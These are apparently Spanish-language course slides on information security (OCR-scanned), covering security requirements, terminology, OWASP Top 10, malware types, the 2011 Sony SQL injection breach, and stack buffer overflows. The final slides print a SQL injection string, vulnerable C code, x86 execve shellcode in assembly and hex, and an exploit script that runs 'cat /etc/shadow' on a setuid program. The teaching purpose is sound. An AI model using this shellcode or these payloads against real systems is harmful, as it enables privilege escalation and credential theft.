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Requerimientos de Seguridad (CIAAA)

Confidencialidad (C)

« Preservar las restricciones autorizadas sobre el acceso y la divulgacion de la informacion, incluidos los
medios para proteger la privacidad personal y la informacion patentada

Integridad (I)

» Protegerse contra la modificacion o destruccion inadecuada de la informacion, incluida la garantia de no
repudio y autenticidad de la informacion

Disponibilidad (A)
» Garantizar el acceso oportuno Yy fiable a la informacion y su utilizacion

Autenticacion (A)

» Asegurar la verificacion de la identidad de usuarios, sistemas y entidades para controlar el acceso a la
informacion.

Auditoria (A)

 Realizar seguimientos y revisiones periddicas para garantizar el cumplimiento de las politicas de
sequridad.
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Requerimientos de Seguridad

services

Availability

MISum



Requisitos de seguridad

« Control de acceso

« Limitar el acceso al sistema de informaciona usuarios autorizados, procesos que actian en nombre de usuarios
autorizados o dispositivos (incluidos otros sistemas de informacién) y a los tipos de transacciones y funciones que los
usuarios autorizados pueden ejercer.

« Sensibilizacion y formacién

Asegurar que los gerentes y usuarios de los sistemas de informacion organizacionales sean conscientes de los riesgos de

seguridad asociados consus actividades y de las leyes, regulaciones y politicas aplicables relacionadas con la seguridad
de los sistemas de informacion organizacionales.

» Asegurar que el personal esté adecuadamente capacitado para llevar a cabo sus deberesy responsabilidades
relacionados con la seguridad de la informacién asignados.

« Auditoria y Accountability

» Crear, protegery conservar registros de auditoria del sistema de informacion en la medida necesaria para permitir el
monitoreo, andlisis, investigaciony reporte de actividades ilegales o inapropiadas del sistema de informacion.

» Garantizar que las acciones de los usuarios individuales del sistemade informacion puedan rastrearse de manera Unica
hasta esos usuarios para que puedan ser responsablesde sus acciones.
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Requisitos de seguridad

» Certificacion, acreditacidon y evaluaciones de seguridad

» Evaluar periodicamente los controles de seguridad en los sistemas de informacion para determinar si los controles son
efectivos ensu aplicacion.

» Elaborary aplicar planes de accion destinados a corregir deficiencias y reducir o eliminar vulnerabilidades en los sistemas
de informacion.

» Autorizar el funcionamiento de los sistemas de informaciony cualquier conexion de sistemas de informacion asociada

» Supervisar los controles de seguridad del sistema de informacién de forma continua para garantizar la eficacia continua de
los controles.

« Gestion de la configuracion

» Establecer y mantener configuraciones de linea base e inventarios de sistemas de informacion (incluidos hardware,
software, firmware y documentacion) a lo largo de los respectivos ciclos de vida de desarrollo del sistema.

» Establecer y aplicar opciones de configuracién de seguridad para productos de tecnologia de la informacion empleados en
sistemas de informacion.
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Requisitos de seguridad

» Planificacion de contingencias

» Establecer, mantener e implementar planes para la respuesta a emergencias, operaciones de respaldo y recuperacion
posterior a desastres para sistemas de informacién para garantizar la disponibilidad de recursos de informacion criticos y
la continuidad de las operaciones en situaciones de emergencia.

« Identificacion y autenticacion

 Identificar usuarios del sistema de informacion, procesos que actian en nombre de usuarios o dispositivos, y autenticar (o

verificar) las identidades de esos usuarios, procesos o0 dispositivos, como requisito previo para permitir el acceso a los
sistemas de informacion.

 Respuesta aincidentes

» Establecer una capacidad operativa de manejo de incidentes para los sistemas de informacion que incluya actividades
adecuadas de preparacion, deteccion, analisis, contencion, recuperaciony respuestadel usuario.

» Rastrear, documentary reportar incidentes a los funcionarios y/o autoridades de la organizacion apropiados.
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Requisitos de seguridad

 Mantenimiento
» Realizar mantenimiento periédicoy oportuno en los sistemas de informacion.

* Proporcionar controles efectivos sobre las herramientas, técnicas, mecanismos y personal utilizados para llevar a cabo el
mantenimiento del sistemade informacion.

* Proteccion de medios

» Protegerlos medios del sistemade informacién, tanto en papelcomo digitales.

» Limitar el acceso ala informaciénde los medios del sistema a los usuarios autorizados.

+ Formatear o destruir los medios del sistemade informacion antes de desecharlos o liberarlos para su reutilizacion.
» Proteccion fisica y ambiental

» Limitar el acceso fisico a los sistemas de informacion, equipos y los respectivos entornos operativos a las personas
autorizadas.

* Protegerla planta fisicay la infraestructura de soporte paralos sistemas de informacion.

» Proporcionar utilidades de apoyo para los sistemas de informacion.

* Protegerlos sistemas de informacion contra los peligros ambientales.

» Proporcionar controles ambientales apropiados en instalaciones que contengan sistemas de informacion.
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Requisitos de seguridad

 Planificacion

» Desarrollar, documentar, actualizar periodicamente e implementar planes de seguridad para los sistemas de informacion
gue describan los controles de seguridad establecidos o planificados y las reglas de comportamiento para las personas
gue accedena los sistemas de informacion.

« Seguridad del personal

* Asegurarse de gque las personas que ocupan puestos de responsabilidad dentro de las organizaciones (incluidos los

proveedores de servicios externos) sean confiables y cumplan con los criterios de seguridad establecidos para esos
puestos.

» Asegurar que la informacion de la organizaciéon y los sistemas de informacion estén protegidos durante y después de las
acciones del personal, como despidos y transferencias.

 Emplear sanciones formales para el personal que no cumpla con las politicas y procedimientos de seguridad de la
organizacion.

« Evaluacidon de riesgos

» Evaluar periédicamente el riesgo para las operaciones de la organizacion (incluida la mision, las funciones, la imagen o la
reputacion), los activos de la organizaciéon y los individuos, como resultado de la operacion de los sistemas de informacion
y el procesamiento, almacenamiento o transmisién asociados de la informacion.
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Requisitos de seguridad

« Adquisicidn de sistemas y servicios
» Asignar recursos suficientes para proteger adecuadamente los sistemas de informacion de la organizacion.
+ Emplearprocesosde ciclo de vida de desarrollo de sistemas que incorporen consideraciones de seguridad.
* Emplearrestricciones de uso e instalacion de software.

» Asegurar que los proveedores externos empleen medidas de seguridad adecuadas para proteger la informacion, las
aplicaciones y/o los servicios subcontratados dela organizacion.

« Proteccion de sistemas y comunicaciones

* Monitorear, controlar y proteger las comunicaciones organizacionales (es decir, la informacion transmitida o recibida por
los sistemas de informacidn organizacionales)

» Emplear disefios arquitectdnicos, técnicas de desarrollo de software y principios de ingenieria de sistemas 2> Promover la
seguridad efectivade la informacion dentro de los sistemas de informacion organizacionales.

* Integridad del sistemay de la informacion
 Identificar, informary corregirla informaciony las fallas del sistemade informacién de manera oportuna.
* Proporcionar proteccion contra codigo malintencionado en ubicaciones apropiadas dentro de los sistemas de informacion.

* Monitorear las alertas y avisos de seguridad del sistemade informaciony tomar las medidas apropiadas en respuesta
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Retos en la seguridad

1. La seguridad informatica no es tan simple como podria parecer al principio.

2. Al desarrollar un mecanismo o algoritmo de seguridad particular, siempre se deben
considerar posibles ataques a esas caracteristicas de seguridad.

3. Los mecanismos de seguridad generalmente involucran mas de un algoritmo o protocolo en
particular y también requieren que los participantes estén en posesion de algun secreto
compartido que plantea preguntas sobre la creacion, distribucion y proteccion de esa
informacion secreta.

4. Los atacantes solo necesitan encontrar una sola debilidad, mientras que el desarrollador
debe encontrar y eliminar todas las debilidades para lograr una seguridad perfecta.
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Retos en la seguridad

5. La seguridad se considera en muchos casos opcional y se delega su implantacion, con
demasiada frecuencia, a las etapas finales del proceso de desarrollo en lugar de ser una
parte integral del proceso de diseio.

6. La seguridad requiere una monitorizacion regular y constante

7. Existe una tendencia natural por parte de los usuarios y administradores de sistemas a
percibir poco beneficio de la inversion en seguridad hasta que se produce un fallo de
seguridad.

8. Muchos usuarios e incluso administradores de seguridad ven en la seguridad del software
un impedimento para el funcionamiento eficiente y facil de usar de un sistema de
informacion o el uso de la informacion.
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Terminologia

« Adversario: Individuo, grupo, organizacion o gobierno que lleva a cabo o tiene la intencion de
llevar a cabo actividades perjudiciales.

« Ataque: Cualquier tipo de actividad maliciosa que intente recopilar, interrumpir, negar, degradar o
destruir los recursos del sistema de informacion o la informacion misma.

 Contramedida: Un dispositivo o técnicas que tienen como objetivo el deterioro de la eficacia
operativa de actividades indeseables o adversas, 0 la prevencion del espionaje, sabotaje, robo o
acceso no autorizado o uso de informacion o sistemas de informacion sensibles.

* Riesgo: Una medida del grado en que una entidad se ve amenazada por una circunstancia o
evento potencial, y tipicamente una funcion de 1) los impactos adversos que surgirian si ocurre la
circunstancia o evento; y 2) la probabilidad de ocurrencia.

« Politica de Seguridad: Un conjunto de criterios para la prestacion de servicios de seguridad.
Define y restringe las actividades de una instalacion de procesamiento de datos para mantener una
condicion de seguridad para los sistemas y datos.
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Terminologia

* Activos: Una aplicacion importante, sistema de soporte general, programa de alto impacto, planta
fisica, sistema de mision critica, personal, equipo 0 un grupo de sistemas ldgicamente
relacionados.

« Amenaza: Cualquier circunstancia o evento con el potencial de afectar negativamente las
operaciones de la organizacion (incluida la mision, funciones, imagen o reputacion), los activos de
la organizacion, los individuos, otras organizaciones o la Nacion a través de un sistema de
informacion a traves del acceso no autorizado, la destruccion, la divulgacion, la modificacion de la
informacion y / o la denegacion de servicio.

* Vulnerabilidad: Debilidad en un sistema de informacion, procedimientos de seguridad del sistema,
controles internos o implementacion que podria ser explotada o activada por una fuente de
amenaza.
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Vulnerabilidades, Amenazas y Atagues

« Categorias de vulnerabilidades
« Danado (péerdida de integridad).
* Fugas (pérdida de confidencialidad).
* No disponibilidad o impacto en el rendimiento (pérdida de disponibilidad).

« Amenazas
« Capaz de explotar vulnerabilidades.
* Representa un dano potencial a la seguridad de un recurso.

« Ataques (amenazas llevadas a cabo)

* Pasivo: intento de aprender o hacer uso de informacion del sistema que no afecta los
recursos del sistema.

* Activo: intenta alterar los recursos del sistema o afectar su funcionamiento.
* Insider: iniciado por una entidad dentro del sistema de informacion.
« Qutsider: iniciado desde fuera del sistema de informacion.
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Tipos de Atagues

« Ataque pasivo: Aprender o hacer uso de - Ataque activo: Alterar los recursos del
la informacion del sistema, pero no afecta sistema o afectar su funcionamiento
a los recursos del sistema

- Implican alguna modificacion del flujo de

« Escuchas o monitoreo de transmisiones. datos o la creacion de un flujo falso.
« El objetivo del atacante es obtener - Cuatro categorias:
informacion que se esta transmitiendo. - Repeticion (replay)
« Dos tipos: + Suplantacion (masquerade)
- Publicacion del contenido del mensaje * Modificacion de mensajes
. Andalisis de trafico - Denegacion de servicio
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Superficies de ataque

* Vulnerabilidades alcanzables y explotables en un sistema.

« Algunos ejemplos son:

« Puertos abiertos en servidores web externos y otros servidores con software
escuchando en dichos puertos

« Servicios disponibles en el interior de un firewall

« Codigo que procesa datos entrantes, correo electronico, XML, documentos de oficina
y formatos de intercambio de datos personalizados especificos de la industria

* Interfaces, SQL y formularios web

« Un empleado con acceso a informacion confidencial vulnerable a un ataque de
ingenieria social
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Categorias de superficie de atague

« Superficie de atague de red: Vulnerabilidades
en una red empresarial, una red WAN o Internet.
« En esta categoria se incluyen:

 Las wvulnerabilidades del protocolo de red,
como las utilizadas para un ataque de
denegacion de servicio.

« La interrupcion de los enlaces de
comunicaciones.

« Gran variedad de ataques de intrusos.

« En una Intranet (red interna de una organizacion):

« Acceso no autorizado a través de la red
interna.

 Malware distribuido en lared de area local.
 Abuso de credenciales internas.
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- Superficie de ataqgue de software:
Vulnerabilidades en la aplicacion, la utilidad o el
codigo del sistema operativo.

- Se presta especial atencion al software de
servidor web.

- Especialmente importantes son los ataques de
Buffer Overflow.

Superficie de atague humano: Vulnerabilidades
creadas por personal o personas externas
+ Uso de ingenieria social.
+ Errores humanos.
- Atagues de hardware y cadena de suministros:
+ Manipulacion de hardware (ej. chips maliciosos).
- Ataques durante la fabricacion o transito de equipos.
- Compromisos de seguridad en proveedores.




Principios de diseno de seguridad

« Economia del mecanismo . Privacidad

 Valores predeterminados a

- Aislamiento
prueba de fallos

. Disefio abierto - Encapsulacion

« Separacion de privilegios - Modularidad

* Privilegio minimo - Diseino por capas

« Mecanismo menos comun ..
- Minima sorpresa

« Aceptabilidad psicologica
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Vulnerabilidades

« OWASP (Open Web Application Security Project): Proyecto de codigo abierto
dedicado a determinar y combatir las causas que hacen que un software sea
Inseguro.

« De las iniciativas mas importantes de OWASP encontramos aquella donde se
detallan las vulnerabilidades mas frecuentes que se encuentran en el mundo real.

« Este informe se emite con una periodicidad anual, aunque no todos los anos se emite
el informe.

« El proyecto se centra fundamentalmente en vulnerabilidades que se pueden
encontrar en aplicaciones web.

 Otro tipo de vulnerabilidades quedan fuera del proyecto OWASP.
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Vulnerabilidades mas frecuentes

1. Control de acceso defectuoso
2. Fallos criptograficos

3. Inyeccion

4. Disefioinseguro

5. Mala configuracion de la seguridad
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6. Componentes vulnerablesy obsoletos
7. Fallos de identificacion y autenticacion
8. Fallos de integridad del software y de los datos
9. Fallos de registroy supervision de la seguridad

10.Falsificacion de peticiones del lado del servidor



Vulnerabilidades mas frecuentes

2017 2021
A01:2017-Injection -— A01:2021-Broken Access Control
A02:2017-Broken Authentication - ' > A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure puiong 5 A03:2021-Injection

A04:2017-XML External Entities (XXE) . (New) A04:2021-Insecure Design
A05:2017-Broken Access Control _,\,\..(-/‘7’ A05:2021-Security Misconfiguration

A06:2017-Security Misconfiguration jre——= A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) "\ A07:2021-Identification and Authentication Failures

A08:2017-Insecure Deserialization / (New) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities > A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring r——— (New) A10:2021-Server-Side Request Forgery (SSRF)*
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Malware clasico: virus y gusanos

« Malware
- Un nombre genérico para cualquier "software malvado”.

* Virus
- Programas que se adhieren a programas legitimos en la maquina de la victima.
- Hoy en dia se difunde principalmente por correo electrénico.
- También por mensajeria instantanea, transferencias de archivos, etc.

« Amenazas Persistentes Avanzadas (APT)

- Campanas de ciberataques dirigidas y sofisticadas que permanecen en una red durante un
periodo prolongado para robar informacion sin ser detectadas.

- A menudo patrocinadas por estados o0 grupos con recursos significativos, con objetivos
estratégicos a largo plazo.
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Malware clasico: virus y gusanos

« Gusanos

- Programas completos que no se adhieren a otros programas.

- Al igual que los virus, pueden propagarse por correo electronico, mensajeria
Instantanea y transferencias de archivos.

- Ademas, los gusanos de propagacion directa pueden saltar de un ordenador a
otro sin intervencion humana en el ordenador receptor.

- El equipo debe tener una vulnerabilidad para que la propagacion directa
funcione.

- Los gusanos de propagacion directa pueden propagarse extremadamente
rapido porque no tienen que esperar a que los usuarios actuen.
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Malware clasico: virus y gusanos

« Amenazas combinadas

- El malware se propaga de varias maneras, COmo gusanos, virus, paginas
web comprometidas que contienen codigo movil, etc..

- Payloads
- Piezas de cdodigo que hacen dano.
- Implementado por virus y gusanos después de la propagacion.
- Los payloads maliciosos estan disefiadas para causar dafios graves.
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Troyanos y rootkits

 Malware “no propagable”

- Debe colocarse en la computadora del usuario a través de una de otra
técnica de ataque.

+ Colocado en la computadora por piratas informaticos.
- Colocado en la computadora por virus o gusano como parte de su payload.

- La victima puede ser atraida a descargar el programa desde un sitio web o
sitio FTP.

- El codigo ejecutado en una pagina web puede descargar el malware “no
propagable”.
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Troyanos y rootkits

* Troyanos

- Un programa que reemplaza un archivo de sistema existente, tomando su
nombre.

- Remote Access Trojans (RATs): Controla de forma remota el PC de la
victima

- Downloaders: Pequefios troyanos que descargan troyanos mas grandes
después de instalar el downloader
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Troyanos y rootkits

* Troyanos

- Spyware

- Programas que recopilan informacion sobre el usuario y la ponen a
disposicion del atacante.

-+ Cookies que almacenan demasiada informacion personal confidencial.
- Keyloggers.

- Spyware para robar contrasenas.

- Spyware de mineria de datos.
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Troyanos y rootkits

 Rootkits

- Toman el control de la cuenta de superusuario (root, administrador, etc.).
- Pueden ocultarse del sistema de archivos.

- Puede ocultar malware para que no sea detectado.

- Extremadamente dificil de detectar (los programas antivirus ordinarios
encuentran pocos rootkits).
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Otros ataques de malware

« Codigo movil
-+ Cddigo ejecutable en una pagina web.

- El codigo se gjecuta automaticamente cuando se descarga la pagina web.
- Javascript, controles Microsoft Active-X, etc.

- Puede causar danos si la computadora tiene vulnerabilidad.

MISum



Contenidos

* Introduccion
* Requisitos
* Requerimientos
« Terminologia
* Retos
« Amenazas y ataques
* Principios del diseio seguro

* Vulnerabilidades

« OWASP
 \Vulnerabilidades mas frecuentes

 Malware

 Ejemplo real
 El caso delos datos de Sony

MISum

38



El caso de los datos de Sony

- Corporacion multinacional japonesa fundada en 1946 que se centra en
la electronica, los juegos, el entretenimiento y los servicios financieros.

- Emplea a unas 146.300 personas Yy tiene ingresos anuales de
alrededor de 72.300 millones de dolares .

- Sony es ampliamente conocida por sus televisores, imagenes digitales,
hardware de audio/video, PC, semiconductores, componentes
electronicos y plataforma de juegos.
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El caso de los datos de Sony

El primer atague - 17-19 de abril de 2011

« Los ataques ocurrieron unas semanas despues del gran terremoto, tsunami y fusion de
reactores.

 Utilizo inyeccion SQL para robar 77 millones de cuentas.

« Se desactivo el acceso a PlayStation Network (PSN).

« Reconoce publicamente la intrusion una semana después de la intrusion, el 26 de abril.
« El CEO, Kazuo Hirai, emite una disculpa publica.

« Se sospecha del grupo de hackers "Anonymous”.
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El caso de los datos de Sony

* El segundo ataque - 1 de mayo de 2011 — Sony Online Entertainment.

 Fue utilizado un ataque de inyeccion SQL similar al utilizado en el primer ataque. Se
robaron 24,6 millones de cuentas adicionales.

« Se desactivo el acceso a todos los servidores de Sony Online Entertainment.

« El CEO, Kazuo Hirai, emite una respuesta por escrito al Congreso de los Estados Unidos
(4 de mayo) sobre los pasos para prevenir futuros atagues.

 Algunos servicios de PSN comienzan a estar en linea el 15 de mayo.
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El caso de los datos de Sony

El tercer atague - 2 de junio de 2011 — SonyPictures.com

Ataque de inyeccion SQL similar utilizado para robar 1 millon de cuentas adicionales.

SonyPictures.com se apaga inmediatamente.

El grupo de hackers LulzSec se atribuye la responsabilidad y emite un comunicado de
prensa.
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El caso de los datos de Sony

 La inyeccibn SQL es un ataque que implica el envio de
Instrucciones SQL modificadas a una aplicacibn web que, a su
vez, modificara una base de datos.

* Los atacantes pueden enviar entradas inesperadas a través de su
navegador web, lo que les permitira leer, escribir e Incluso
eliminar bases de datos enteras.
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El caso de los datos de Sony

« La siguiente instruccidon SQL muestra los parametros pasados a
una base de datos para un inicio de sesion legitimo

SELECT FROM Users WHERE username=‘Angel’ AND password=12345678’;
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El caso de los datos de Sony

 La instruccidon SQL con formato incorrecto a continuacidn muestra
la inyeccion SQL al pasar parametros inesperados a traves de
una interfaz Web

« Siempre devolvera un valor verdadero

SELECT FROM Users WHERE username=‘Angel’ AND password=‘whatever’ or 1=1--
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El caso de los datos de Sony

¢, Como se podria haber evitado el incidente?

Auditoriay Monitoreode Seguridad:
* Implementacion de un sistema de deteccion de intrusiones (IDS) para identificar ataques de inyeccion SQL en tiempo real.

Pruebas dePenetraciony Evaluacion de Vulnerabilidades:
* Realizacion peridédicade pruebas de penetracion para identificar y remediar vulnerabilidades.
» Actualizacién y parcheo regular de software para protegerse contra vulnerabilidades conocidas.

Controlde Accesoy Segregacionde Funciones:
» Uso de listas de control de accesoYy firewalls de aplicacion web para restringir el acceso no autorizado a sistemas
sensibles.
Capacitacion en Concienciacionde Seguridad:
* Formacioncontinua al personal sobre las mejores practicas de seguridad y reconocimiento de posiblesamenazas.

Respuestaa Incidentes y Planes de Contingencia:
« Establecimiento de un equipo de respuestaa incidentes para actuar rapidamente ante cualquier brecha de seguridad.
« Desarrollo de planes de contingencia para garantizar la recuperacionrapida de servicios en caso de ataque.

Cifradoy Proteccionde Datos:
+ Cifrado de datos sensiblestanto en transito como en reposo para evitar el acceso no autorizado en caso de una brecha.

+ Usode rrn(%cliiglas de seguridad como tokenizacion y gestionde claves para proteger datos financieros y de identificacion
persona :
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El caso de los datos de Sony

Los atacantes: Los miembros de LulzSec y Anonymous

Justo antes de los ataques a Sony, Anonymous anuncio el lanzamiento de la
operacion "#OpSony" por las demandas contra George Hotz.

George Hotz estaba siendo demandado por Sony por hacer jailbreak a
PlayStation 3.

Cody Kretsinger fue arrestado el 22 de septiembre de 2011 y se declaro
culpable por su participacion en los ataques a Sony.

Héctor Monsegur, que se enfrenta a 122 anos de prision, fue un informante
clave que identificd a otros atacantes.
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El caso de los datos de Sony

* Las consecuencias. demandas e investigaciones

- Como compensacion a los usuarios, Sony ofrecio 1 afo gratuito en alguno de sus
servicios, un mes de juegos gratuitos y algunos juegos gratuitos de una seleccion
limitada.

- Hasta la fecha, no se conoce ningun fraude crediticio directamente relacionado con
las violaciones de datos de Sony.

- Sony fue multado con 395,000 ddlares por el Reino Unido porque "las medidas de
seguridad simplemente no eran lo suficientemente buenas”.

- Sony estima pérdidas en 171 millones de dolares.
- Dificil estimar el daio a la reputacion de Sony.
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Buffer Overflow

« Un mecanismo de atague muy comun
- Utilizado por primera vez por el gusano Morris en 1988

« Tecnicas de prevencion conocidas
« Aungque no siempre son efectivas

 Sigue siendo motivo de gran preocupacion

- Legado de codigo con errores en sistemas operativos y aplicaciones
ampliamente implementados

- Practicas continuas de programacion descuidadas por parte de los
programadores
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Buffer Overflow

Un Buffer Overflow, también conocido como Buffer Overrrun, se
define en el Glosario de términos clave de seguridad de la
iInformacion del NIST de la siguiente manera:

“A condition at an interface under which more input can be
placed into a buffer or data holding area than the capacity
allocated, overwriting other information. Attackers exploit such a
condition to crash a system or to insert specially crafted code
that allows them to gain control of the system.”
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Buffer Overflow

« Error de programacion cuando un . Cconsecuencias:
proceso intenta almacenar datos

més alla de los limites de un bufer Corrupcion de los datos del

de tamafio fijo programa
. L - Transferencia inesperada de
« Sobrescribe las ubicaciones de control

memoria adyacentes

- Las ubicaciones pueden contener * Violaciones de acceso a la

otras variables de programa, memoria
parametros o datos de flujo de - Ejecucion del codigo

control de programa o
arbitrario  por parte del

- El bufer podria ubicarse en la pila, atacante

en el montdbn o en la seccidon de
datos del proceso
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Atagues Buffer Overflow

« Para aprovechar un buffer overflow, un atacante necesita:

- Identificar una vulnerabilidad de buffer overflow en algin programa que se puede
desencadenar utilizando datos de origen externo bajo el control del atacante

- Comprender cOmo se almacena ese bufer en la memoria y determinar la posibilidad
de danos

 La identificacion de programas vulnerables se puede hacer mediante:
* Inspecciodn del codigo fuente del programa

+ Seguimiento de la ejecucion de programas a medida que procesan entradas de gran
tamano

- Uso de técnicas como el fuzzing para identificar automaticamente programas
potencialmente vulnerables

MISum



Historia de los lenguajes de programacion

A nivel de maquina, los datos manipulados por las instrucciones (maguina) se almacenan
en los registros del procesador o en la memoria

El programador de lenguaje ensamblador es responsable de la interpretacion correcta de
cualquier valor de datos guardado

Los lenguajes modernos de alto nivel tienen una fuerte nocion de tipo y operaciones
validas
* No son vulnerable a vulnerabilidades buffer overflow

- Estos lenguajes son menos eficientes en tiempo de ejecucion ya que afaden ciertas
comprobaciones

C vy los lenguajes relacionados tienen estructuras de control de alto nivel, pero permiten
el acceso directo a la memoria

- Por lo tanto, son vulnerables vulnerabilidades de buffer overflow
- Tienen un gran legado de codigo ampliamente utilizado, inseguroy, por lo tanto, vulnerable
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Stack Buffer Overflows

« Se produce cuando el buffer se encuentra en la pila
+ También conocido como stack smashing
- Utilizado por el gusano Morris

« Siguen siendo ampliamente explotados

e Stack frame

- Cuando una funcion llama a otra, necesita un lugar para guardar la direccion de
retorno

- También necesita ubicaciones para guardar los parametros que se pasaran a la
funcion llamada y posiblemente guardar valores de registro
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Stack Frame

MISum

Return addr

Old frame pointer

param 2

param 1

Return addr in P

Old frame pointer

local 1

local 2

Frame
pointer

Stack
pointer

11



., Como es Cargado un Programa?

MISum

Program file

Global data

Program
machine
code

Process image in
main memory

Kernel
code
and
data

Stack l

Spare
memory

Heap T

Global data

Program
machine
code

Process control block

Top of memory

<—— Bottom of memory
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Ejemplo Basico de Stack Overflow

MISum

void hello (char *tag)

{
char inp[16];

printf ("Enter value for %s: ", tag):;
gets (inp) ;
printf ("Hello your %s is %s\n", tag, inp):;

(a) Basic stack overflow C code

$ cc -g -o buffer2 buffer2.c

S ./buffer2

Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done

S ./buffer?
Enter value for name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)

$ perl -e 'print pack ("H*", "414243444546474851525354555657586162636465666768
e8ffffbf948304080adedededela") ;"' | ./buffer2

Enter value for name:

Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu

Enter value for Kyyu:

Hello your Kyyu is NNNN

Segmentation fault (core dumped)

(b) Basic stack overflow example runs
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Ejemplo Basico de Stack

Overflow

Memory
Address

bffffbel

bffffbdc

bffffbds

bffffbd4

bffffbdo

bffffbee

bffffbc8

bffffbc4

bffffbcO

MISum

Before
gets (inp)

After
gets (inp)

3e850408

>

£0830408

00850408

e8fbffbf

94830408

60840408

~

e8ffffbf

30561540
OV . @

65666768
e fgh

1b840408

61626364
abcd

e8fbffbf

55565 1,58
UV WX

3ctctfbf

<

51525354
QRST

34fcffbf
4

45464748
EFGH

41424344
A BCD

Contains
value of

tag

return addr

old base ptr

inp [12~15]

inp[8-11]

inp[4-7]

inp [0~3]
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Otro Ejemplo de Stack Overflow

MISum

void gctinp(char *inp, int siz)
{

puts ("Input value: ");

fgets (inp, siz, stdin);

printf ("buffer3 getinp read %$s\n", inp):
}

void display(char *val)

{
char tmp[16];
sprintf (tmp, "read val: %s\n", val);
puts (tmp) ;

int main(int argc, char *argv[])

char buf[l6];

getinp (buf, sizeof (buf));
display (buf) ;

printf ("buffer3 done\n");

(a) Another stack overflow C code

$ cc -o buffer3 buffer3.c

$ ./buffer3

Input value:

SAFE

buffer3 getinp read SAFE
read val: SAFE

buffer3 done

$ ./buffer3

Input value:
D.9:0.0.0:0.0.0.0.0.0.0.9.0:0:9.9.0.0.0.0:0.0.9.0.0.0.9.0.0.0.0.0.0.¢
buffer3 getinp read XXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXX

buffer3 done
Segmentation fault (core dumped)

(b) Another stack overflow example runs
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Funciones C inseguras

gets(char *str)

Lee una linea desde la entrada
estandar y la almacena en la variable
str

sprintf(char *str, char *format, ...)

Crear una cadena de acuerdo con el
formato y las variables proporcionadas

strcat(char *dest, char *src)

Afade el contenido de la cadena str a
la cadena dest

strcpy(char *dest, char *src)

Copia contenido de la cadena str a la
cadena dest

vsprintf(char *str, char *fmt, va_list
ap)

Crear una cadena str de acuerdo con
el formato y las  variables
proporcionadas

MISum
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Shellcode

« Codigo usado por el atacante
- Amenudo se guardaen el bufer que se desborda
- Tradicionalmente transferia el control a un intérprete de linea de comandos de usuario (shell)

« Codigo maquina
Especifico para el procesador y el sistema operativo
- Tradicionalmente se necesitaban buenas habilidades de lenguaje ensamblador para crear

- Mas recientemente, se han desarrollado una serie de sitios y herramientas que automatizan
este proceso

* Proyecto Metasploit

+ Proporciona informacion util a las personas gque realizan la test de penetracion, desarrollo de la
firma IDS e investigan sobre exploiting
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Ejemplo de Shellcode en Unix

int main (int argc, char *argv([])
{

char *sh;

char *args[2];

sh = "/bin/sh";

args([0] = sh;

args(1l] = NULL;

execve (sh, args, NULL);

(a) Desired shellcode code in C

nop
nop //end of nop sled
jmp find //jump to end of code
cont: pop %esi //pop address of sh off stack into %esi
Xor %eax, %eax //zero contents of EAX
mov %al, 0x7 (%esi) //copy zero byte to end of string sh (%esi)
lea (%esi), %ebx //load address of sh (%esi) into %ebx
mov %ebx, 0x8 (%esi) //save address of sh in args [0] (%esi+8)
mov %eax, Oxc (%esi) //copy zero to args[l] (%esi+c)
mov $0xb, %al //copy execve syscall number (11) to AL
mov %esi, %ebx //copy address of sh (%esi) into %ebx
lea 0x8(%esi) ,%ecx //copy address of args (%esi+8) to %ecx
lea 0xc(%esi),%edx //copy address of args[l] (%esitc) to %edx
int $0x80 //software interrupt to execute syscall
find: call cont //call cont which saves next address on stack
sh: .string "/bin/sh" //string constant
args: .long O //space used for args array
.long 0 //args[l] and also NULL for env array

(b) Equivalent position-independent x86 assembly code

90 90 eb la 5e 31 cO 88 46 07 8d le 89 5e 08 89
46 Oc b0 Ob 89 £f3 8d 4e 08 8d 56 0Oc cd 80 e8 el
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20

M I ; l l I I I (¢) Hexadecimal values for compiled x86 machine code




Instrucciones comunes en ensamplador x86

MOV src, dest copiar (mover) el valor de src a dest

LEA src, dest copie la direccion (Load effective address) de src en dest

ADD/SUB src, dest Sumar o restar el valor en src desde dest dejando el resultado en dest

AND/OR/XOR src, dest ylo/xor l6gico del valor src con dest, dejando el resultado en dst

CMP vall, val2 compara vall and val2, estableciendo los flags de la CPU segln sea necesario

JMP/JZ/INZ addr Salta siempre/salta si es cero/salta si no es cero a la direccién addr

PUSH src inserta el valor src en el stack

POP dest extrae el valor de la cima de la pilay lo almacena en dest

CALL addr llama a la funcién que se encuentra en la direccion addr

LEAVE limpia el marco de stack creado antes de salir de la funcion

RET volver de una funcion

INT num interrupcion software para acceder a funcionalidades del Sistema operative
(Llamadas al Sistema)

NOP no hace nada

VHSUmM ;



Registros x86

32 bit 16 bit 8 bit (high) 8 bit (low) Use

Y%eax %ax %ah %al Acumuladores utilizados para operaciones aritméticas y de E/S y
ejecutar llamadas de interrupcién

%ebx %bx %bh %bl Registros base utilizados para acceder a la memoria, pasar
argumentos de llamada al sistemay devolver valores

%ecx %CX %ch %cl Registros de contador

%edx %dx %dh %dI Registros de datos utilizados para operaciones aritméticas,
llamadas de interrupcion y operaciones de E/S

%ebp Puntero base que contiene la direccion del marco de pila actual

%eip Puntero de instruccidon o contador de programa que contiene la
direccion de la siguiente instruccién que se ejecutara

%esi Registro de indice de origen utiizado como puntero para
operaciones de cadena o matriz

%esp Puntero de pila que contiene la direcciéon de la parte superior de la
pila

MISum
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Ejemplo de Ataque Stack Overflow

MISu

$ dir -1 bufferd
—EWSE—XE—x 1 root knoppix 16571 Jul 17 10:49 bufferd

S whoami

knoppix

$ cat /etc/shadow

cat: /etc/shadow: Permission denied

S cat attackl

perl -e 'print pack("H*",
"90909090909090909090909090909090"
"90909090909090909090909090909090"
"9090eblab5e31c08846078d1e895e0889"
"460cb00b89£38d4e088d560ccd80e8el™
"ffffff2£62696e2£7368202020202020" .
"202020202020202038fcffbfcOfbffbf0a") ;
print "whoami\n";

print "cat /etc/shadow\";'

$ attackl | bufferd

